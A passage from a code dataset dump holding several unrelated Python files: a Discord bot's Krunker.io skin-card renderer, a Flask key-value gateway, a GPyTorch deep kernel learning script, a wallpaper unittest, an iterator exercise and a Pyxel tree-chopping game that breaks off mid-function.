this_tag)\n        total_tags += 1\n    except:pass \n    \n    \n                  \n    #bimg = Image.new('RGB', (220,242), (98, 104, 104))\n    #bimg = add_corners(bimg, 14)\n    #img.paste(bimg, (13, 250), bimg)\n    dark_c = (226, 226, 226)\n    main_c = (227, 126, 255)\n\n    try:\n        skin_type = skin_data_all[\"keyW\"]\n    except:\n        try:\n            skin_type = weapons[skin_data_all[\"weapon\"]]\n        except:\n            try:\n                skin_type = skin_types[skin_data_all[\"type\"]].strip().title()\n            except:\n                skin_type = \"\"\n        \n\n    outline_text(draw, vldr(skin_data_all[\"name\"], img.width/2, fontomega), 15, skin_color if is_color else (255, 255, 255), (0, 0, 0), skin_data_all[\"name\"], fontomega)\n    if skin_type:\n        outline_text(draw, vldr(skin_type, img.width/2, font), 58, (150, 150, 150), (0, 0, 0), skin_type, font)\n\n    \n\n    dark_img = ImageEnhance.Brightness(img).enhance(0)\n    dark_img = dark_img.filter(ImageFilter.GaussianBlur(radius=4))\n    dark_img.paste(img, (0, 0), img)\n    img = newGrad((650, 405))\n    img.paste(dark_img, (0, 0), dark_img)\n    ngb_logo = client.gb\n    if sum(skin_color) > 2:\n        ngb_logo = tint_image(ngb_logo, skin_color)\n    __x__, __y__ = img.size\n    img.paste(ngb_logo, (__x__-33, __y__-33), ngb_logo)\n    \n    img_b = classic_outline(img, color = skin_color, border = 4, x_ = 3, y_ = 12, initial_top = 5)\n    if not is_color:\n        img_b.paste(client.skin_rainbow, (0, 0), client.skin_mask)\n    img_b = classic_outline(img_b, border = 4, x_ = 3, y_ = 12, initial_top = 5)\n    byte_io = BytesIO()\n    byte_io.seek(0)\n    img_b.save(byte_io, 'PNG')\n    byte_io.seek(0)\n    return byte_io\n\n\n    #return gb_logo(img_b, client, ngb_logo)\n\ndef generate_tag_mini(text, color, tag_img, is_color = 1):\n    if is_color:\n        tag_img = tint_image(tag_img, color, 2.2)\n    else:\n        tag_img = tag_img.copy()\n    tag_img = tag_img.resize((63, 23))\n    text = text.resize((63, 23))\n    tag_img.paste(text, (0, 0), text)\n    return tag_img\ndef make_inv(skins_data, client, PyJsHoisted_getPreview_, start):\n    def get_skin_name(main_index):\n        return {each_skin[\"i\"]:each_name for each_name, each_skin in client.skins.items()}[main_index]\n    def get_rarity(x):\n        try:return client.skins[get_skin_name(x[\"i\"])][\"rarity\"]\n        except:return 0\n    skins_data = sorted(skins_data, key = get_rarity, reverse = True)\n    try:\n        skins_data = skins_data[start:start+8]\n    except:\n        skins_data = skins_data[start:]\n    output_stats = []\n    sub_list = []\n    for ind, e_ind in enumerate(skins_data):\n        sub_list.append(e_ind)\n        if len(sub_list) == 4 or ind == len(skins_data)-1:\n            output_stats.append(sub_list)\n            sub_list = []\n    main_x = 322*4\n    main_y = 430*len(output_stats)\n    main_img = Image.new(\"RGBA\", (main_x, main_y), (0, 0, 0, 0))\n\n    \n\n    font_size = 18\n\n    \n    font = ImageFont.truetype(font_file, font_size)\n    fontmega = ImageFont.truetype(font_file, font_size+3)\n    fontomega = ImageFont.truetype(font_file, font_size+6)\n    font2 = ImageFont.truetype(font_file, font_size-3)\n    font3 = ImageFont.truetype(font_file, font_size-5)\n    def vldr(text, pixel, font):\n        twidth, _ = draw.textsize(text, font=font)\n        return pixel -  int(twidth/2)\n    all_images = []\n    for row_index, each_row in enumerate(output_stats):\n        for col_index, each_skin in enumerate(each_row):\n            img = Image.new(\"RGBA\", (300, 405), (0, 0, 0, 0))\n            draw = ImageDraw.Draw(img)\n            user_name = get_skin_name(each_skin[\"i\"])\n            skin_data_all = client.skins[user_name.lower()]\n            skin_url = str(PyJsHoisted_getPreview_(client.skins[user_name.lower()]))[1:-1]\n            try:\n                color = __rarities[str(client.skins[user_name.lower()][\"rarity\"])]\n            except:\n                color = 1\n\n            skin_color = discord.Colour(color).to_rgb()\n            \n            \n            \n\n            response = requests.get(skin_url)\n            thumb = Image.open(BytesIO(response.content)).convert(\"RGBA\")\n            thumb = thumb.resize((thumb.width-8, thumb.height-8))\n            #thumb2 = thumb.filter(ImageFilter.GaussianBlur(radius=3))\n            #thumb2.paste(thumb, (0, 0), thumb)\n            #thumb = thumb2\n            #thumb2 = thumb.filter(ImageFilter.SMOOTH_MORE)\n            #thumb = thumb.resize((thumb.width-4, thumb.height-4))\n            #thumb2.paste(thumb, (2, 2), thumb)\n            #thumb = thumb2\n\n            img.paste(thumb, (int(img.width/2)-int(thumb.width/2), (int(img.height/2)-int(thumb.height/2))+20), thumb)\n\n            twidth, _ = draw.textsize(\"{:,} KR\".format(skin_data_all[\"avgPrice\"]), font=font3)\n            #outline_text(draw, img.width-twidth-5, img.height-65, (150, 150, 150), (0, 0, 0), \"{:,} KR\".format(skin_data_all[\"avgPrice\"]), font3)\n\n            try:\n                skin_data_all[\"creator\"]\n            except:\n                skin_data_all[\"creator\"] = \"Krunker.io\"\n                \n            twidth, _ = draw.textsize(\"By \" + skin_data_all[\"creator\"], font=font)\n            outline_text(draw, (int(img.width/2)-int(twidth/2)), img.height-40, (150, 150, 150), (0, 0, 0), \"By \"+skin_data_all[\"creator\"], font)\n\n            #try:\n                #twidth, _ = draw.textsize(skin_data_all[\"limT\"], font=font)\n                #outline_text(draw, 630-twidth, img.height-80, (150, 150, 150), (0, 0, 0), skin_data_all[\"limT\"], font)\n            #except:pass\n            total_tags = 0\n            tag_image = client.tag_background\n            is_color = sum(skin_color) > 2\n            if not is_color:\n                tag_image = client.tag_rainbow\n            \n            try:\n                this_season = 1\n                try:this_season = skin_data_all[\"seas\"]\n                except:pass\n                this_tag = generate_tag_mini(client.seasons[this_season], skin_color, tag_image, is_color)\n                img.paste(this_tag, (10, img.height-70- (26*total_tags)), this_tag)\n                total_tags += 1\n            except:\n                pass\n            '''try:\n                skin_data_all[\"glow\"]\n                this_tag = generate_tag(client.glowing, skin_color, tag_image, is_color)\n                img.paste(this_tag, (30, img.height-60 - (40*total_tags)), this_tag)\n                total_tags += 1\n            except:pass'''\n            try:\n                skin_data_all[\"frames\"]\n                this_tag = generate_tag_mini(client.animated, skin_color, tag_image, is_color)\n                img.paste(this_tag, (10, img.height-70 - (26*total_tags)), this_tag)\n                total_tags += 1\n            except:pass\n            try:\n                skin_data_all[\"limited\"]\n                this_tag = generate_tag_mini(client.limited, skin_color, tag_image, is_color)\n                img.paste(this_tag, (10, img.height-70 - (26*total_tags)), this_tag)\n                total_tags += 1\n            except:pass \n            \n            \n                          \n            #bimg = Image.new('RGB', (220,242), (98, 104, 104))\n            #bimg = add_corners(bimg, 14)\n            #img.paste(bimg, (13, 250), bimg)\n            dark_c = (226, 226, 226)\n            main_c = (227, 126, 255)\n\n            try:\n                skin_type = skin_data_all[\"keyW\"]\n            except:\n                try:\n                    skin_type = weapons[skin_data_all[\"weapon\"]]\n                except:\n                    try:\n                        skin_type = skin_types[skin_data_all[\"type\"]].strip().title()\n                    except:\n                        skin_type = \"\"\n                \n\n            outline_text(draw, vldr(skin_data_all[\"name\"], img.width/2, fontomega), 15, skin_color if is_color else (255, 255, 255), (0, 0, 0), skin_data_all[\"name\"], fontomega)\n            if skin_type:\n                outline_text(draw, vldr(skin_type, img.width/2, font), 55, (150, 150, 150), (0, 0, 0), skin_type, font)\n\n            dark_img = ImageEnhance.Brightness(img).enhance(0)\n            dark_img = dark_img.filter(ImageFilter.GaussianBlur(radius=4))\n            dark_img.paste(img, (0, 0), img)\n            img = newGrad((dark_img.width, dark_img.height))\n            img.paste(dark_img, (0, 0), dark_img)\n            img = classic_outline(img, color = skin_color, border = 4, x_ = 3, y_ = 12, initial_top = 5)\n            if not is_color:\n                img.paste(client.inv_rainbow, (0, 0), client.inv_mask)\n            all_images.append([col_index, row_index, img])\n\n    for each_image in all_images:\n        main_img.paste(each_image[2], (10 + ( 320 * each_image[0]), 10 + ( 425 * each_image[1])), each_image[2].convert(\"RGBA\"))\n\n    dark_img = ImageEnhance.Brightness(main_img).enhance(0)\n    dark_img2 = dark_img.filter(ImageFilter.GaussianBlur(radius=2))\n    dark_img = dark_img.filter(ImageFilter.GaussianBlur(radius=7))\n    dark_img.paste(dark_img2, (0, 0), dark_img2)\n    dark_img.paste(main_img, (0, 0), main_img)\n    img = newGrad((main_x, main_y))\n    img.paste(dark_img, (0, 0), dark_img)\n    ngb_logo = client.gb\n    if sum(skin_color) > 2:\n        ngb_logo = tint_image(ngb_logo, skin_color)\n    __x__, __y__ = img.size\n    img.paste(ngb_logo, (__x__-33, __y__-33), ngb_logo)\n    img_b = classic_outline(img, border = 4, x_ = 3, y_ = 12, initial_top = 5)\n    byte_io = BytesIO()\n    byte_io.seek(0)\n    img_b.save(byte_io, 'PNG')\n    byte_io.seek(0)\n    return byte_io\n\n\ndef get_lobbies_stuff(msg, client, host_data):\n    inp = msg.content.lower()\n    no_unique = False\n    no_ppl_res = False\n    max_players = None\n    vac_seats = None\n    total_online = 0\n    max_capacity = 0\n    total_lobies = 0\n    filter_kr = 0\n    pubs = False\n    modes = \"\"\n    g_args = inp.split(\" -\", 1)\n    if len(g_args) == 2:\n        m_args = g_args[1]\n        total_args = m_args.split(\"-\")\n        for e_arg in total_args:\n            e_arg = e_arg.strip()\n            if e_arg == \"u\":\n                no_unique = True\n            if e_arg == \"p\":\n                no_ppl_res = True\n            if e_arg == \"pub\":\n                pubs = True\n            if e_arg == \"kr\":\n                filter_kr = True\n            if e_arg.startswith(\"mp\"):\n                try:\n                    max_players = int(e_arg.replace(\"mp\", \"\").replace(\"\", \"\"))\n                except:pass\n            if e_arg.startswith(\"vs\"):\n                try:\n                    vac_seats = int(e_arg.replace(\"vs\", \"\").replace(\"\", \"\"))\n                except:pass\n            if e_arg.startswith(\"m\"):\n                try:\n                    modes = e_arg[1:].split(\" \")\n                except:pass\n    \n    randomize = bool(g_args[0] == \"g.find\")\n    o_maps = []\n    filters_k = ['zombie', 'wall', 'aim_room',\n                 'new krunker map','digger', 'clashroyale',\n                 'sniper', 'tower', 'trade', 'infect',\n                 '6.4', 'minecraft', 'parkour+', 'bouncyhop',\n                 'ikea', \"defence\", \"defense\", \"parkour\",\n                 \"dust\", \"run\", \"biomes\", \"escape\",\n                 \"zomb\", \"war\", \"portal\", \"prop\",\n                 \"fallguys\", \"inf\", \"hangout_night\",\n                 \"says\", \"yard\", \"+\", \"cracked\", \"walmart\",\n                 \"TRICKSHOT_ONLY\", \"Hide_And_Seek\", \"fortnite\", \"Z☢️mbie_Invasion\", \"pubg\", \"race_Mariokart\",\n                 \"CORONAVIRUS\"]\n    regions = {\n        \"NY\" : \"New York\",\n        \"SYD\": \"Sydney\",\n        \"FRA\": \"Frankfurt\",\n        \"MIA\": \"Miami\",\n        \"SV\" : \"Silicon Valley\",\n        \"DAL\": \"Dallas\",\n        \"BLR\": \"India\",\n        \"SIN\": \"Singapore\",\n        \"TOK\": \"Tokyo\",\n        \"BHN\": \"Middle East\",\n        \"BRZ\": \"Brazil\",\n        \"AFR\": \"South Africa\",\n        \"SEO\": \"South Korea\",\n        }\n    \n    if randomize:\n        for e_map in host_data:\n            map_name = e_map[-1][\"i\"]\n            if not pubs:\n                if map_name.lower() in client.official_maps:continue\n            co_ = 0\n            try:prom = star_emote if e_map[-1][\"pr\"] else \"\"\n            except:prom = \"\"\n            total_online += e_map[2]\n            max_capacity += e_map[3]\n            total_lobies += 1\n            if not no_unique:\n                for e_filt_k in filters_k:\n                    if e_filt_k.lower() in map_name.lower():\n                        co_ = 1\n                        break\n                if co_: continue\n            if filter_kr:\n                try:\n                    e_map[-1][\"kr\"]\n                except:continue\n            max_vac = True if e_map[3] > 11 else e_map[3] - e_map[2] < 8\n            mdata = [e_map[0], e_map[-1][\"i\"], e_map[2], e_map[3], e_map[-1][\"i\"], e_map[0].split(\":\", 1)[0], prom]\n            if not max_players:\n                if vac_seats == None:\n                    if e_map[2] >= 5 and (e_map[3] - e_map[2] >= 1) or no_ppl_res:\n                        o_maps.append(mdata)\n                elif (e_map[3] - e_map[2] >= vac_seats) and (e_map[2] >= 1):\n                    o_maps.append(mdata)\n            else:\n                if vac_seats == None:vac_seats = 1\n                if e_map[3] == max_players and (e_map[3] - e_map[2] >= vac_seats):\n                    o_maps.append(mdata)\n                \n    else:\n        map_name = g_args[0][7:]\n        for e_map in host_data:\n            if not pubs:\n                if e_map[-1][\"i\"].lower() in client.official_maps:\n                    continue\n            total_online += e_map[2]\n            max_capacity += e_map[3]\n            total_lobies += 1\n            try:prom = star_emote if e_map[-1][\"pr\"] else \"\"\n            except:prom = \"\"\n            if filter_kr:\n                try:\n                    e_map[-1][\"kr\"]\n                except:continue\n            if map_name.lower() in e_map[-1][\"i\"].lower():\n                o_maps.append([e_map[0], e_map[-1][\"i\"], e_map[2], e_map[3], prom+e_map[-1][\"i\"], e_map[0].split(\":\", 1)[0]])\n    if not len(o_maps):\n        return None, None\n    random.shuffle(o_maps)\n    try:\n        total_found = len(o_maps)\n        o_maps = o_maps[:10]\n    except:pass\n    longest_name = max(o_maps, key=lambda x: len(x[4]))[4]\n    o_maps = sorted(o_maps, key = lambda x: x[2])\n    emb_desc = \"\"\n    for e_map in o_maps:\n        emb_desc += game_data_sample.format(e_map[4].ljust(len(longest_name)+1),\n                                            e_map[2], e_map[3], e_map[0], regions[e_map[5]])\n    prom_desc = \"\"\n    for e_game in client.promoted:\n        found = 0\n        for e_map in host_data:\n            if (\"https://krunker.io/?game=\"+e_map[0]).lower() == e_game.lower():\n                found = 1\n                try:prom = star_emote if e_map[-1][\"pr\"] else \"\"\n                except:prom = \"\"\n                o_map = [e_map[0], e_map[-1][\"i\"], e_map[2], e_map[3], e_map[-1][\"i\"], e_map[0].split(\":\", 1)[0], prom]\n                prom_desc += game_data_sample.format(o_map[4],\n                                            o_map[2], o_map[3], o_map[0], regions[o_map[5]])\n        if not found:\n            try:client.promoted.remove(e_game)\n            except:pass\n    if prom_desc:\n        prom_desc = gb_emote+\" **Sponsored Games:**\" + prom_desc + \"\\n\\n\"\n\n    emb_desc = globe_emote+\" **Games found [{}+]:**\".format(len(o_maps)) + \"\\n\" + emb_desc\n    embed=discord.Embed(colour=discord.Colour(14423783 if not prom_desc else 4562172),\n                        description = emb_desc)\n    foot = \"Total Online: {}\\nMax Capacity: {}\\nTotal Lobbies: {}\\nLobbies Recommended: {}\".format(total_online, max_capacity, total_lobies, total_found)\n    embed.set_footer(text = foot)\n    return embed, prom_desc\n\ndef gonline_p1(maps, host_data):\n    games_o = {}\n    overall_online = 0\n    for e_map in host_data:\n        if e_map[-1][\"i\"] in maps:\n            try:\n                games_o[e_map[-1][\"i\"]]\n            except:\n                games_o[e_map[-1][\"i\"]] = [0, 0]\n            games_o[e_map[-1][\"i\"]][0] += e_map[2]\n            games_o[e_map[-1][\"i\"]][1] += 1\n            overall_online += e_map[2]\n    return dict(sorted(games_o.items(), key=lambda x: x[1][0], reverse=True)), overall_online\n\n\ndef gonline_p2(host_data, client):\n    games_o = {}\n    overall_online = 0\n    for e_map in host_data:\n        overall_online += e_map[2]\n        if e_map[-1][\"i\"].lower() in client.official_maps:\n            continue\n        try:\n            games_o[e_map[-1][\"i\"]][0] += e_map[2]\n            games_o[e_map[-1][\"i\"]][1] += 1\n        except:\n            games_o[e_map[-1][\"i\"]] = [e_map[2], 1]\n    return dict(sorted(games_o.items(), key=lambda x: x[1][0], reverse=True)[:30]), overall_online\n\n","repo_name":"Pyroooooooo/GameBot","sub_path":"output_generator.py","file_name":"output_generator.py","file_ext":"py","file_size_in_byte":73091,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"51"}
+{"seq_id":"16508028238","text":"from flask import request, jsonify, abort, Flask\n\nfrom KVLGateway import KVLGateway\nimport socket\n\ngw = KVLGateway('registry','6001')\n\napp = Flask(__name__)\n\n@app.route('/')\ndef home():\n    return jsonify(\"KVL Gateway!\")\n\n@app.route('/api/v1/elements/', methods=['GET'])\ndef read():\n    if 'key' not in request.args:\n        abort(400)\n    key = str(request.args['key'])\n\n    #node routing\n    nodeHash = gw.resolveKeyToNode(key)\n    node = gw.nodes[nodeHash]\n\n    jsonResponse = gw.routeReadToNode(node['ip'],node['port'],key)    \n    return jsonify(jsonResponse)\n    \n@app.route('/api/v1/elements/', methods=['POST'])\ndef write():\n    if not request.json or not request.json['key'] or not request.json['value']:\n        abort(400)\n    kvdict = {'key':request.json['key'],'value':request.json['value']}\n\n    #node routing\n    nodeHash = gw.resolveKeyToNode(kvdict['key'])\n    node = gw.nodes[nodeHash]\n\n    jsonResponse = gw.routeWriteToNode(node['ip'],node['port'],kvdict)\n    if jsonResponse != {} :\n        return jsonify(jsonResponse)\n    else:\n        abort(501)\n\n@app.route('/api/v1/elements/all/', methods=['GET'])\ndef getAllElements():\n    keys = gw.gatherAllKeys()\n    return jsonify(keys)\n\n\n@app.route('/api/v1/internals/nodes/', methods=['GET'])\ndef internalNodes():\n    return jsonify(gw.nodes)\n\n@app.route('/api/v1/internals/nodes/keydistribution/', methods=['GET'])\ndef internalKeyDistribution():\n    response = {}\n    for key,node in gw.nodes.items():\n        response[key] = len(gw.getKeysFromNode(node['ip'],node['port']))\n    return jsonify(response)\n\n\n#Private API section\n@app.route('/api/v1/conf/onboard/', methods=['POST'])\ndef onboarding():\n    if not request.json or not request.json['ip'] or not request.json['port'] :\n        abort(400)\n    success = gw.onBoardingNode(request.json['ip'], request.json['port'])\n    if success:\n        return jsonify(\"Node Added\")\n    else:\n        abort(501)\n\nif __name__ == \"__main__\":\n    app.run(host='0.0.0.0', port=7001)","repo_name":"paoloriccardi/key-value-log","sub_path":"kvlgateway/appGateway.py","file_name":"appGateway.py","file_ext":"py","file_size_in_byte":1986,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"51"}
+{"seq_id":"13757054049","text":"from gpytorch.distributions import MultivariateNormal\nfrom gpytorch.kernels import ScaleKernel, RBFKernel\nfrom gpytorch.likelihoods import SoftmaxLikelihood\nfrom gpytorch.means import ConstantMean\nfrom gpytorch.mlls import VariationalELBO\nfrom gpytorch.models import ApproximateGP\nfrom gpytorch.priors import SmoothedBoxPrior\nfrom gpytorch.settings import use_toeplitz, num_likelihood_samples\nfrom gpytorch.utils.grid import scale_to_bounds\nfrom gpytorch.variational import CholeskyVariationalDistribution, MultitaskVariationalStrategy, \\\n    GridInterpolationVariationalStrategy\nfrom gpytorch import Module\nfrom torch.optim import SGD, Adam\nfrom torch.optim.lr_scheduler import MultiStepLR\nimport torch.nn.functional as F\nfrom torch import nn\nimport torch\nimport math\nfrom tqdm import tqdm\nimport numpy as np\n\nfrom gpytorch_examples.data_utils import get_vision_data\nfrom gpytorch_examples.nn_integration.densenet import DenseNet\n\n\nclass DenseNetFeatureExtractor(DenseNet):\n    def forward(self, x):\n        features = self.features(x)\n        out = F.relu(features, inplace=True)\n        out = F.avg_pool2d(out, kernel_size=self.avgpool_size).view(features.size(0), -1)\n        return out\n\n\nclass GaussianProcessLayer(ApproximateGP):\n\n    def __init__(self, num_dim, grid_bounds=(-10.0, 10.0), grid_size=64):\n        variational_distribution = CholeskyVariationalDistribution(num_inducing_points=grid_size,\n                                                                   batch_shape=torch.Size([num_dim]))\n\n        base_strategy = GridInterpolationVariationalStrategy(self,\n                                                             grid_size=grid_size,\n                                                             grid_bounds=[grid_bounds],\n                                                             variational_distribution=variational_distribution)\n\n        variational_strategy = MultitaskVariationalStrategy(base_strategy, num_tasks=num_dim)\n        super().__init__(variational_strategy)\n\n        self.covar = ScaleKernel(\n            RBFKernel(lengthscale_prior=SmoothedBoxPrior(math.exp(-1), math.exp(1), sigma=0.1, transform=torch.exp)))\n        self.mean = ConstantMean()\n        self.grid_bounds = grid_bounds\n\n    def forward(self, x):\n        mean = self.mean(x)\n        covar = self.covar(x)\n        return MultivariateNormal(mean, covar)\n\n\nclass DeepKernelLearningModel(Module):\n\n    def __init__(self, feature_extractor, num_dim, grid_bounds=(-10.0, 10.0)):\n        super().__init__()\n        self.feature_extractor = feature_extractor\n        self.gp_layer = GaussianProcessLayer(num_dim, grid_bounds)\n        self.grid_bounds = grid_bounds\n        self.num_dim = num_dim\n\n    def forward(self, x):\n        features = self.feature_extractor(x)\n        features = scale_to_bounds(features, lower_bound=self.grid_bounds[0], upper_bound=self.grid_bounds[1])\n        features = features.transpose(-1, -2).unsqueeze(-1)\n        result = self.gp_layer(features)\n        return result\n\n\ntrain_loader, test_loader, num_classes = get_vision_data()\n\nfeature_extractor = DenseNetFeatureExtractor(block_config=(6, 6, 6), num_classes=num_classes)\nnum_features = feature_extractor.classifier.in_features\n\nmodel = DeepKernelLearningModel(feature_extractor, num_dim=num_features)\nlikelihood = SoftmaxLikelihood(num_features=model.num_dim, num_classes=num_classes)\n\nif torch.cuda.is_available():\n    model = model.cuda()\n    likelihood = likelihood.cuda()\n\nn_epochs = 5\nlr = 0.1\n\noptimizer = SGD([{'params': model.feature_extractor.parameters(), 'weight_decay': 1e-4},\n                 {'params': model.gp_layer.hyperparameters(), 'lr': lr * 0.01},\n                 {'params': model.variational_parameters()},\n                 {'params': likelihood.parameters()}],\n                lr=lr, momentum=0.9, nesterov=True, weight_decay=0)\n\nscheduler = MultiStepLR(optimizer, milestones=[0.5 * n_epochs, 0.75 * n_epochs], gamma=0.1)\n\nmll = VariationalELBO(likelihood, model.gp_layer, num_data=len(train_loader.dataset))\n\n\ndef train(epoch):\n    model.train()\n    likelihood.train()\n\n    minibatch_iter = tqdm(train_loader, desc=f\"(Epoch {epoch}) Minibatch\")\n    with num_likelihood_samples(8):\n        for data, target in minibatch_iter:\n            if torch.cuda.is_available():\n                data, target = data.cuda(), target.cuda()\n            optimizer.zero_grad()\n            output = model(data)\n            loss = -mll(output, target)\n            loss.backward()\n            optimizer.step()\n            minibatch_iter.set_postfix(loss=loss.item())\n\n\ndef test():\n    model.eval()\n    likelihood.eval()\n\n    correct = 0\n    with torch.no_grad(), num_likelihood_samples(16):\n        for data, target in test_loader:\n            if torch.cuda.is_available():\n                data, target = data.cuda(), target.cuda()\n            output = likelihood(model(data))  # This gives us 16 samples from the predictive distribution\n            pred = output.probs.mean(0).argmax(-1)  # Taking the mean over all of the sample we've drawn\n            correct += pred.eq(target.view_as(pred)).cpu().sum()\n    print('Test set: Accuracy: {}/{} ({}%)'.format(\n        correct, len(test_loader.dataset), 100. * correct / float(len(test_loader.dataset))\n    ))\n\n\nfor epoch in range(1, n_epochs + 1):\n    with use_toeplitz(False):\n        train(epoch)\n        test()\n    scheduler.step()\n    state_dict = model.state_dict()\n    likelihood_state_dict = likelihood.state_dict()\n    torch.save({'model': state_dict, 'likelihood': likelihood_state_dict}, 'dkl_cifar_checkpoint.dat')\n","repo_name":"roholazandie/gaussian_process_tutorial","sub_path":"gpytorch_examples/nn_integration/stochastic_variational_deep_kernel_learning.py","file_name":"stochastic_variational_deep_kernel_learning.py","file_ext":"py","file_size_in_byte":5569,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"51"}
+{"seq_id":"35902600102","text":"from hapycolor import targets\nfrom hapycolor import exceptions\nfrom hapycolor.targets.wallpaper import Wallpaper\nfrom tests import helpers\nfrom unittest.mock import patch\nimport pathlib\nimport unittest\n\n\nclass TestWallpaper(unittest.TestCase):\n    @helpers.configurationtesting()\n    def test_invalid_image_path(self):\n        with self.assertRaises(exceptions.WrongInputError):\n            Wallpaper.export({}, \"name\")\n\n    @helpers.configurationtesting()\n    @unittest.skipUnless(targets.os() == targets.OS.DARWIN, \"Tests Darwin's\"\n                         + \" environment\")\n    def test_configuration_wallpaper(self):\n        raw_path = Wallpaper.load_config()[Wallpaper.configuration_darwin]\n        wallpaper_path = pathlib.Path(raw_path).expanduser()\n        self.assertTrue(wallpaper_path.exists())\n\n    @helpers.configurationtesting()\n    @unittest.skipUnless(targets.os() == targets.OS.DARWIN,\n                         \"targetted platform: Darwin\")\n    @patch('subprocess.run')\n    def test_export(self, mock_subprocess):\n        try:\n            Wallpaper.export({}, \"images/firewatch.jpg\")\n        except Exception as err:\n            self.fail(str(err))\n","repo_name":"rvdz/hapycolor","sub_path":"tests/test_wallpaper.py","file_name":"test_wallpaper.py","file_ext":"py","file_size_in_byte":1166,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"51"}
+{"seq_id":"23182555767","text":"\"\"\"\nIter Object:\n    a.Converting datatypes like string to iter object is very useful.\n       Read documentation about iter() and next() here and then answer these questions:\n    b.Let’s say my_string = “I’m not iterator object” try command next(my_string) what you get?\n    c.Create function that convert a string to iterator and print each character in single line using next().\n\"\"\"\n\nmy_string = \"I'm not iterator object\"\n\n# Receives TypeError: 'str' object is not an iterator\n# print(next(my_string))\n\n\ndef str_to_iter(s: str) -> None:\n    for _ in range(len(s)):\n        s = iter(s)\n        print(next(s))\n\n\nstr_to_iter(my_string)\n","repo_name":"AndreasEliasson91/effective-python","sub_path":"09-22/03_iter_object.py","file_name":"03_iter_object.py","file_ext":"py","file_size_in_byte":643,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"51"}
+{"seq_id":"28130802620","text":"import pyxel as p\nfrom collections import deque\nimport pickle\nimport os\n\n\nclass App:\n    def __init__(self):\n        p.init(240, 135, caption=\"Timber Practice\", fps=60)\n        p.load(\"assets/my_resource.pyxres\")\n        p.mouse(True)\n\n        if os.path.isfile(\"tree_queue_pattern.pyc\"):\n            # print(\"yes\")\n            with open(\"tree_queue_pattern.pyc\", \"rb\") as f:\n                self.tree_queue_pattern = pickle.load(f)\n        else:\n            # self.tree_queue_pattern = [0, 1, 0, 2]\n            self.tree_queue_pattern = [0, 1, 1, 0, 2, 2, 0, 1, 0, 2, 2, 0, 1, 1, 0, 2]\n        self.start_game()\n        self.is_setting = False\n        self.tree_y_adjust = 0\n\n        p.run(self.update, self.draw)\n\n    def is_dead(self):\n        return self.player_pos == self.tree_queue[-1]\n    def gameover(self):\n        self.is_gameover = True\n    def check_and_solve_gameover(self):\n        if self.is_dead():\n            self.gameover()\n\n    def start_game(self):\n        self.player_pos = 1\n        self.tree_index = 0\n        self.tree_queue = deque()\n        [self.append_tree_queue() for _ in range(7)]\n        self.is_gameover = False\n\n    def append_tree_queue(self):\n        t = self.tree_queue_pattern[self.tree_index % len(self.tree_queue_pattern)]\n        self.tree_queue.appendleft(t)\n        self.tree_index += 1\n        self.tree_y_adjust = 6\n    def pop_and_push_tree_queue(self):\n        self.tree_queue.pop()\n        self.append_tree_queue()\n    \n    def move_player(self, player_pos):\n        self.player_pos = player_pos\n        self.check_and_solve_gameover()\n        self.pop_and_push_tree_queue()\n        self.check_and_solve_gameover()\n\n    def is_in_rect(self, cxy, xy, wh):\n        cx, cy = cxy\n        x, y, w, h = *xy, *wh\n        return (x <= cx < x+w and y <= cy < y+h)\n\n    def update(self):\n        self.tree_y_adjust = max(0, self.tree_y_adjust - 1)\n\n        if self.is_setting:\n            if p.btnp(p.MOUSE_LEFT_BUTTON):\n                if self.is_in_rect((p.mouse_x, p.mouse_y), [4, 4], [9, 9]):\n                    self.is_setting = False\n                    with open(\"tree_queue_pattern.pyc\", \"wb\") as f:\n                        pickle.dump(self.tree_queue_pattern, f)\n                    self.start_game()\n                for i, t in enumerate(self.tree_queue_pattern):\n                    if self.is_in_rect((p.mouse_x, p.mouse_y), [4, 20+10*i], [9, 9]):\n                        self.tree_queue_pattern[i] = (self.tree_queue_pattern[i] + 1) % 3\n                if self.is_in_rect((p.mouse_x, p.mouse_y), [4, 20+10*len(self.tree_queue_pattern)], [9, 9]):\n                    self.tree_queue_pattern.append(0)\n                if self.is_in_rect((p.mouse_x, p.mouse_y), [4, 20+10*(len(self.tree_queue_pattern)+1)], [9, 9]):\n                    self.tree_queue_pattern.pop()\n        else:\n            if p.btnp(p.MOUSE_LEFT_BUTTON) and self.is_in_rect((p.mouse_x, p.mouse_y), [4, 4], [9, 9]):\n                self.is_setting = True\n\n        if self.is_gameover:\n            if p.btnp(p.MOUSE_LEFT_BUTTON) and self.is_in_rect((p.mouse_x, p.mouse_y), (120-20, 67+24), (40, 16)) or p.btnp(p.KEY_SPACE):\n                self.start_game()\n        else:\n            if any(p.btnp(k) for k in [p.KEY_A, p.KEY_LEFT, p.KEY_J]):\n                self.move_player(1)\n                # p.play(0, 0)\n            elif any(p.btnp(k) for k in [p.KEY_D, p.KEY_RIGHT, p.KEY_L]):\n                self.move_player(2)\n                # p.play(1, 0)\n            # if p.btnp(p.KEY_SPACE):\n            #     self.start_game()\n                \n\n    def draw(self):\n        p.cls(6)\n\n        p.rectb(*[[120-20-15, 97], [120+20, 97]][self.player_pos-1], 15, 15, 7)\n\n        for i, t in enumerate(self.tree_queue):\n            y = -7+17*i - (self.tree_y_adjust*17)//6\n            p.rect(*[120-15, y], *[30, 17], 4)\n            # p.blt(*[120-15, y], 0, *[0, 0], *[30, 17])\n            if t == 1:\n                p.rectb(*[120-15-30, y+(17-5)//2], *[30, 5], 4)\n            if t == 2:\n                p.rectb(*[120+15, y+(17-5)//2], *[30, 5], 4)\n\n        if self.is_setting:\n            p.rect(*(0, 0), *(17, 135), 7)\n            p.rectb(*[4, 4], *[9, 9], 13)\n            p.text(*[7, 6], \"X\", 13)\n            for i, t in enumerate(self.tree_queue_pattern):\n                p.rectb(*[4, 20+10*i], *[9, 9], 13)\n                p.text(*[7, 22+10*i], \"NLR\"[t], 0)\n            p.rectb(*[4, 20+10*len(self.tree_queue_pattern)], *[9, 9], 13)\n            p.text(*[7, 22+10*len(self.tree_queue_pattern)], \"+\", 0)\n            p.rectb(*[4, 20+10*(len(self.tree_queue_pattern)+1)], *[9, 9], 13)\n            p.text(*[7, 22+10*(len(self.tree_queue_pattern)+1)], \"-\", 0)\n        else:\n            